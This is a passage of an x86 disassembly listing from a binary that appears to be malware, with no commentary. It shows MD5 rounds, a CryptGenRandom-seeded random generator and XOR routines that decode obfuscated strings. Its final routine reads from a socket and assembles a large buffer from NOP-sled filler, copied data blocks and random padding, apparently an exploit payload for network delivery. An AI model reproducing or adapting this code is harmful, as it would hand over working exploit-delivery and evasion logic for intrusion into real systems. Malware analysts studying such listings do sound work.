		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-36C5FC7h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+655B59C3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-100B83h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6FA87E4Fh]


loc_41005C:				; DATA XREF: cAddress:off_41A8CCo
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1D31920h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-8AC817Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-14792C6Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		leave
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410244	proc near		; CODE XREF: sub_40F3CE+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_410263
; ---------------------------------------------------------------------------


loc_410253:				; CODE XREF: sub_410244+66j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_410263:				; CODE XREF: sub_410244+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_4102AC
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+1]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+2]
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+3]
		shl	ecx, 18h
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		jmp	short loc_410253
; ---------------------------------------------------------------------------

locret_4102AC:				; CODE XREF: sub_410244+25j
		leave
		retn
sub_410244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102AE	proc near		; CODE XREF: cAddress:004168D0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_417024	; CryptAcquireContextA
		push	offset dword_41EAAC
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAB0
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAB4
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAB8
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	dword_41701C	; CryptReleaseContext
		leave
		retn
sub_4102AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410318	proc near		; CODE XREF: sub_4103F5+6p
					; sub_410422+6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lock xadd dword_41EAAC,	eax
		add	eax, ebx
		lock xadd dword_41EAB0,	eax
		add	eax, ecx
		lock xadd dword_41EAB4,	eax
		add	eax, edx
		lock xadd dword_41EAB8,	eax
		add	eax, esi
		lock xadd dword_41EAAC,	eax
		add	eax, edi
		lock xadd dword_41EAB0,	eax
		add	eax, ebp
		lock xadd dword_41EAB4,	eax
		add	eax, esp
		lock xadd dword_41EAB8,	eax
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_41EAAC,	eax
		lock xadd dword_41EAB0,	eax
		lock xadd dword_41EAB4,	eax
		lock xadd dword_41EAB8,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_41EAB4,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_41EAB0,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_41EAAC,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_41EAB8,	edx
		lock xadd dword_41EAB4,	ecx
		lock xadd dword_41EAB0,	ebx
		lock xadd dword_41EAAC,	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; CODE XREF: cAddress:004021CDp
					; sub_4040E8+2Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB8,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4103F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410422	proc near		; CODE XREF: sub_40CF2F:loc_40CFBCp
					; sub_40D871+D3Fp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB8,	eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043F	proc near		; CODE XREF: cAddress:00405CFAp
					; cAddress:00405D70p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB4,	eax
		and	eax, 0FFFFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41043F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410461	proc near		; CODE XREF: sub_4104A3+42p
					; sub_4125DF:loc_4126B8p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB0,	eax
		and	eax, 0FFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410483	proc near		; CODE XREF: cAddress:00405D10p
					; sub_40D7E5+57p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAAC,	eax
		and	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104A3	proc near		; CODE XREF: sub_40A9CF+D4Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4104AF
		jmp	short locret_4104FF
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_4104A3+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4104B5:				; CODE XREF: sub_4104A3+34j
		cmp	[ebp+arg_4], 3
		jbe	short loc_4104D9
		call	sub_410422
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		jmp	short loc_4104B5
; ---------------------------------------------------------------------------


loc_4104D9:				; CODE XREF: sub_4104A3+16j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax


loc_4104DF:				; CODE XREF: sub_4104A3+5Aj
		cmp	[ebp+arg_4], 0
		jbe	short locret_4104FF
		call	sub_410461
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4104DF
; ---------------------------------------------------------------------------

locret_4104FF:				; CODE XREF: sub_4104A3+Aj
					; sub_4104A3+40j
		leave
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410501	proc near		; CODE XREF: sub_403260+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_410510
		xor	eax, eax
		jmp	short locret_41055D
; ---------------------------------------------------------------------------


loc_410510:				; CODE XREF: sub_410501+9j
		cmp	[ebp+arg_10], 0
		jnz	short loc_41051C
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_10], eax


loc_41051C:				; CODE XREF: sub_410501+13j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_410532:				; CODE XREF: sub_410501+57j
		cmp	[ebp+var_4], 0
		jbe	short loc_41055A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_410532
; ---------------------------------------------------------------------------


loc_41055A:				; CODE XREF: sub_410501+35j
		mov	eax, [ebp+var_8]

locret_41055D:				; CODE XREF: sub_410501+Dj
		leave
		retn
sub_410501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; CODE XREF: cAddress:004168E1p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EAC0
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, byte_41EAC0
		mov	edi, esi
		push	10h
		pop	ecx


loc_41059F:				; CODE XREF: sub_41055F+47j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_41059F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41055F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105AD	proc near		; CODE XREF: sub_406E8E+C6p
					; sub_406E8E+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_4105BE
		jmp	short locret_4105F9
; ---------------------------------------------------------------------------


loc_4105BE:				; CODE XREF: sub_4105AD+Dj
		and	[ebp+var_4], 0
		jmp	short loc_4105CB
; ---------------------------------------------------------------------------


loc_4105C4:				; CODE XREF: sub_4105AD+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4105CB:				; CODE XREF: sub_4105AD+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_4105F9
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAC0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4105C4
; ---------------------------------------------------------------------------

locret_4105F9:				; CODE XREF: sub_4105AD+Fj
					; sub_4105AD+29j
		leave
		retn
sub_4105AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FB	proc near		; CODE XREF: sub_401000+4Ap
					; sub_4043E9+1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jg	short loc_41060C
		jmp	short locret_410647
; ---------------------------------------------------------------------------


loc_41060C:				; CODE XREF: sub_4105FB+Dj
		and	[ebp+var_4], 0
		jmp	short loc_410619
; ---------------------------------------------------------------------------


loc_410612:				; CODE XREF: sub_4105FB+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410619:				; CODE XREF: sub_4105FB+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410647
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAC0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_410612
; ---------------------------------------------------------------------------

locret_410647:				; CODE XREF: sub_4105FB+Fj
					; sub_4105FB+29j
		leave
		retn
sub_4105FB	endp

; ---------------------------------------------------------------------------


loc_410649:				; DATA XREF: cAddress:off_41CCD6o
		push	ebp
		mov	ebp, esp
		mov	eax, 1B78h
		call	sub_416BC0
		push	48h
		push	offset dword_41A7B0
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410686
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_410686:				; CODE XREF: cAddress:0041067Fj
		push	0
		push	1000h
		lea	eax, [ebp-1B74h]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv
		push	7
		push	offset a__	; "\r\n\\_/."
		mov	eax, [ebp+8]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+8]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+8]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp-370h], eax
		cmp	dword ptr [ebp-370h], 0
		jnz	short loc_4106F0
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_4106F0:				; CODE XREF: cAddress:004106E9j
		and	dword ptr [ebp-374h], 0
		jmp	short loc_410706
; ---------------------------------------------------------------------------


loc_4106F9:				; CODE XREF: cAddress:0041072Aj
		mov	eax, [ebp-374h]
		inc	eax
		mov	[ebp-374h], eax


loc_410706:				; CODE XREF: cAddress:004106F7j
		cmp	dword ptr [ebp-374h], 168h
		jge	short loc_41072C
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp-374h]
		mov	[ebp+ecx-36Ch],	al
		jmp	short loc_4106F9
; ---------------------------------------------------------------------------


loc_41072C:				; CODE XREF: cAddress:00410710j
		push	0Ah
		push	offset dword_41A8A0
		lea	eax, [ebp-280h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset dword_41A8F0
		lea	eax, [ebp-276h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41A8E8
		lea	eax, [ebp-272h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset dword_41A8EC
		lea	eax, [ebp-23Ah]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41A8E4
		lea	eax, [ebp-236h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0Bh
		push	offset dword_41A894
		lea	eax, [ebp-232h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E6h
		sub	eax, [ebp-370h]
		mov	[ebp-204h], eax
		and	dword ptr [ebp-1B78h], 0
		push	18h
		push	offset dword_41A7FC
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 18h
		mov	[ebp-1B78h], eax
		push	44h
		push	offset dword_41A818
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 44h
		mov	[ebp-1B78h], eax
		push	20h
		push	0FFFFFF90h
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 20h
		mov	[ebp-1B78h], eax
		push	4
		push	offset dword_41A8AC
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 4
		mov	[ebp-1B78h], eax
		push	4
		push	offset dword_41A8E0
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 4
		mov	[ebp-1B78h], eax
		push	4
		push	offset dword_41A8D8
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 4
		mov	[ebp-1B78h], eax
		push	4
		push	offset dword_41A8DC
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 4
		mov	[ebp-1B78h], eax
		push	58h
		push	0FFFFFF90h
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 58h
		mov	[ebp-1B78h], eax
		push	6
		push	offset dword_41A8B4
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 6
		mov	[ebp-1B78h], eax
		push	8
		push	0FFFFFF90h
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 8
		mov	[ebp-1B78h], eax
		push	4
		push	offset dword_41A8BC
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 4
		mov	[ebp-1B78h], eax
		push	4
		push	0FFFFFF90h
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 4
		mov	[ebp-1B78h], eax
		push	6
		push	offset dword_41A8C4
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 6
		mov	[ebp-1B78h], eax
		push	dword ptr [ebp-204h]
		push	0FFFFFF90h
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, [ebp-204h]
		mov	[ebp-1B78h], eax
		push	dword ptr [ebp-370h]
		lea	eax, [ebp-200h]
		push	eax
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, [ebp-370h]
		mov	[ebp-1B78h], eax
		push	168h
		lea	eax, [ebp-36Ch]
		push	eax
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 168h
		mov	[ebp-1B78h], eax
		push	0Ah
		push	offset off_41A8CC
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 0Ah
		mov	[ebp-1B78h], eax
		push	32h
		push	offset dword_41A860
		mov	eax, [ebp-1B78h]
		lea	eax, [ebp+eax-0B74h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-1B78h]
		add	eax, 32h
